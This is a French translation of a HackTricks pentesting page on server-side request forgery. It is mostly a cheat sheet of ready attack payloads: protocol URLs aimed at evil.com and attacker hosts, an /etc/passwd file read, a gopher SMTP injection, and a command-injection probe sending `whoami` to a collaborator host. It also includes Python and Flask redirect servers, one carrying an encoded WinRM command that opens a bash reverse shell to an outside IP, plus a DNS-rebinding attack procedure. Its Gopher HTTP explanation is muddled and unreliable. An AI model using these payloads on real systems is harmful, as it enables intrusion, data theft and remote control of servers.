25 KiB
SSRF (Server Side Request Forgery)
Utilisez Trickest pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
La falsification de requêtes côté serveur (également connue sous le nom de SSRF) est une vulnérabilité de sécurité Web qui permet à un attaquant de forcer l'application côté serveur à effectuer des requêtes HTTP vers un domaine arbitraire choisi par l'attaquant. (À partir de ici)
Capture de SSRF
La première chose à faire est de capturer une interaction SSRF provoquée par vous. Pour capturer une interaction HTTP ou DNS, vous pouvez utiliser des outils tels que :
- Burpcollab
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
Contournement des domaines autorisés
Vous constaterez généralement que le SSRF ne fonctionne que dans certains domaines ou URL autorisés. Dans la page suivante, vous avez une compilation de techniques pour essayer de contourner cette liste blanche :
{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Contournement via une redirection ouverte
Si le serveur est correctement protégé, vous pouvez contourner toutes les restrictions en exploitant une redirection ouverte à l'intérieur de la page Web. Parce que la page Web permettra SSRF vers le même domaine et suivra probablement les redirections, vous pouvez exploiter la redirection ouverte pour faire en sorte que le serveur accède à n'importe quelle ressource interne.
En savoir plus ici : https://portswigger.net/web-security/ssrf
Protocoles
file://
file:///etc/passwd
dict://
Le schéma d'URL DICT est utilisé pour faire référence à des définitions ou des listes de mots disponibles en utilisant le protocole DICT :
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
SFTP://
Un protocole réseau utilisé pour le transfert sécurisé de fichiers via shell sécurisé.
ssrf.php?url=sftp://evil.com:11111/
TFTP://
Le protocole de transfert de fichiers trivial, fonctionne sur UDP.
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
LDAP://
Lightweight Directory Access Protocol. Il s'agit d'un protocole d'application utilisé sur un réseau IP pour gérer et accéder au service d'information de répertoire distribué.
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
En utilisant ce protocole, vous pouvez spécifier l'IP, le port et les octets que vous voulez que le serveur envoie. Ensuite, vous pouvez essentiellement exploiter une SSRF pour communiquer avec n'importe quel serveur TCP (mais vous devez savoir comment parler au service en premier lieu).
Heureusement, vous pouvez utiliser Gopherus pour créer des charges utiles pour plusieurs services. De plus, remote-method-guesser peut être utilisé pour créer des charges utiles gopher pour les services Java RMI.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
Le protocole Gopher est un protocole de communication de niveau application conçu pour la récupération de documents dans un réseau distribué. Il a été largement utilisé dans les années 1990, mais a été remplacé par le World Wide Web. Cependant, il est encore utilisé dans certains cas, notamment pour les sites Web minimalistes.
Gopher HTTP est une technique qui permet d'exploiter les vulnérabilités SSRF en utilisant le protocole Gopher pour effectuer des requêtes HTTP. Cette technique est utile lorsque le serveur cible bloque les requêtes HTTP sortantes, mais autorise les connexions sortantes sur le port 70 (le port par défaut pour le protocole Gopher).
Pour utiliser cette technique, vous devez encoder la requête HTTP dans une URL Gopher valide et l'envoyer au serveur cible via une vulnérabilité SSRF. Le serveur cible interprétera la requête HTTP comme une requête Gopher et la transmettra au serveur distant via le port 70.
Voici un exemple de requête HTTP encodée en URL Gopher :
gopher://127.0.0.1:70/_GET%20http://example.com/HTTP/1.1%0D%0AHost:%20example.com%0D%0A%0D%0A
Dans cet exemple, la requête HTTP GET est envoyée au serveur distant example.com via le port 80. La requête est encodée en URL Gopher et envoyée au serveur cible via une vulnérabilité SSRF.
Il est important de noter que cette technique peut être détectée et bloquée par certains pare-feu et systèmes de détection d'intrusion. Il est donc important de tester cette technique dans un environnement contrôlé avant de l'utiliser en production.
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP - Connexion de retour à 1337
{% code title="redirect.php" %}
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
{% endcode %}
SMTP
À partir de https://twitter.com/har1sec/status/1182255952055164929:
1. se connecter avec SSRF sur smtp localhost:25
2. à partir de la première ligne, obtenir le nom de domaine interne 220 http://blabla.internaldomain.com ESMTP Sendmail
3. rechercher http://internaldomain.com sur github, trouver des sous-domaines
4. se connecter
Curl URL globbing - Bypass WAF
Si le SSRF est exécuté par curl, curl a une fonctionnalité appelée URL globbing qui pourrait être utile pour contourner les WAF. Par exemple, dans cette writeup, vous pouvez trouver cet exemple pour une traversée de chemin via le protocole file
:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
Capturer les requêtes SSRF
- Burp Collaborator
- http://requestrepo.com/
- https://app.interactsh.com/
SSRF via l'en-tête Referrer
Certaines applications utilisent des logiciels d'analyse côté serveur qui suivent les visiteurs. Ce logiciel enregistre souvent l'en-tête Referrer dans les requêtes, car cela est particulièrement intéressant pour suivre les liens entrants. Souvent, le logiciel d'analyse visitera en fait toute URL tierce qui apparaît dans l'en-tête Referrer. Cela est généralement fait pour analyser le contenu des sites référents, y compris le texte d'ancre utilisé dans les liens entrants. Par conséquent, l'en-tête Referer représente souvent une surface d'attaque fructueuse pour les vulnérabilités SSRF.
Pour découvrir ce type de vulnérabilités "cachées", vous pouvez utiliser le plugin "Collaborator Everywhere" de Burp.
SSRF via les données SNI du certificat
La configuration incorrecte la plus simple qui vous permettrait de vous connecter à un backend arbitraire ressemblerait à ceci :
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
Ici, la valeur du champ SNI est utilisée directement comme adresse du backend.
Avec cette configuration non sécurisée, nous pouvons exploiter la vulnérabilité SSRF simplement en spécifiant l'adresse IP ou le nom de domaine souhaité dans le champ SNI. Par exemple, la commande suivante forcerait Nginx à se connecter à internal.host.com:
openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf
Téléchargement de fichiers Wget
SSRF avec injection de commande
Il pourrait être intéressant d'essayer une charge utile comme : url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Rendu de PDF
Si la page web crée automatiquement un PDF avec des informations que vous avez fournies, vous pouvez insérer du JS qui sera exécuté par le créateur de PDF lui-même (le serveur) lors de la création du PDF et vous pourrez abuser d'un SSRF. Trouvez plus d'informations ici.
De SSRF à DoS
Créez plusieurs sessions et essayez de télécharger des fichiers lourds en exploitant le SSRF des sessions.
Fonctions PHP SSRF
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}
Redirection SSRF vers Gopher
Pour certaines exploitations, vous pourriez avoir besoin d'envoyer une réponse de redirection (potentiellement pour utiliser un protocole différent comme gopher). Ici, vous avez différents codes python pour répondre avec une redirection :
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Utilisez Trickest pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Contournement de CORS/SOP avec DNS Rebidding
Si vous avez des problèmes pour exfiltrer du contenu à partir d'une adresse IP locale en raison de CORS/SOP, DNS Rebidding peut être utilisé pour contourner cette limitation :
{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}
DNS Rebidding automatisé
Singularity of Origin
est un outil pour effectuer des attaques de DNS rebinding. Il comprend les composants nécessaires pour lier l'adresse IP du serveur d'attaque au nom DNS de la machine cible et pour servir des charges utiles d'attaque pour exploiter les logiciels vulnérables sur la machine cible.
Consultez également le serveur public en cours d'exécution sur http://rebind.it/singularity.html****
DNS Rebidding + ID de session TLS/Ticket de session
Exigences :
- SSRF
- Sessions TLS sortantes
- Des choses sur des ports locaux
Attaque :
- Demandez à l'utilisateur/bot d'accéder à un domaine contrôlé par l'attaquant.
- Le TTL du DNS est de 0 sec (de sorte que la victime vérifiera l'adresse IP du domaine à nouveau bientôt).
- Une connexion TLS est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit la charge utile à l'intérieur de l'ID de session ou du ticket de session.
- Le domaine commencera une boucle infinie de redirections contre lui-même. Le but de cela est de faire accéder l'utilisateur/bot au domaine jusqu'à ce qu'il effectue à nouveau une demande DNS du domaine.
- Dans la demande DNS, une adresse IP privée est donnée maintenant (127.0.0.1, par exemple).
- L'utilisateur/bot essaiera de rétablir la connexion TLS et pour ce faire, il enverra l'ID de session/Ticket ID (où la charge utile de l'attaquant était contenue). Félicitations, vous avez réussi à demander à l'utilisateur/bot de s'attaquer lui-même.
Notez que pendant cette attaque, si vous voulez attaquer localhost:11211 (memcache), vous devez faire établir à la victime la connexion initiale avec www.attacker.com:11211 (le port doit toujours être le même).
Pour effectuer cette attaque, vous pouvez utiliser l'outil : https://github.com/jmdx/TLS-poison/
Pour plus d'informations, consultez la présentation où cette attaque est expliquée : https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
SSRF aveugle
La différence entre un SSRF aveugle et un SSRF non aveugle est que dans le SSRF aveugle, vous ne pouvez pas voir la réponse de la demande SSRF. Il est donc plus difficile à exploiter car vous ne pourrez exploiter que des vulnérabilités bien connues.
SSRF basé sur le temps
En vérifiant l'heure des réponses du serveur, il pourrait être possible de savoir si une ressource existe ou non (peut-être que l'accès à une ressource existante prend plus de temps que l'accès à une ressource qui n'existe pas).
Exploitation de SSRF dans le cloud
Si vous trouvez une vulnérabilité SSRF dans une machine fonctionnant dans un environnement cloud, vous pourriez être en mesure d'obtenir des informations intéressantes sur l'environnement cloud et même des informations d'identification :
{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}
Plateformes vulnérables à SSRF
Plusieurs plateformes connues contiennent ou ont contenu des vulnérabilités SSRF, vérifiez-les dans :
{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}
Outils
SSRFMap
Outil pour détecter et exploiter les vulnérabilités SSRF
Gopherus
Cet outil génère des charges utiles Gopher pour :
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser est un scanner de vulnérabilité Java RMI qui prend en charge les opérations d'attaque pour la plupart des vulnérabilités Java RMI courantes. La plupart des opérations disponibles prennent en charge l'option --ssrf
, pour générer une charge utile SSRF pour l'opération demandée. Avec l'option --gopher
, des charges utiles gopher prêtes à l'emploi peuvent être générées directement.
SSRF Proxy
SSRF Proxy est un serveur proxy HTTP multi-thread conçu pour faire transiter le trafic HTTP client à travers des serveurs HTTP vulnérables à la falsification de requêtes côté serveur (SSRF).
Pour pratiquer
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}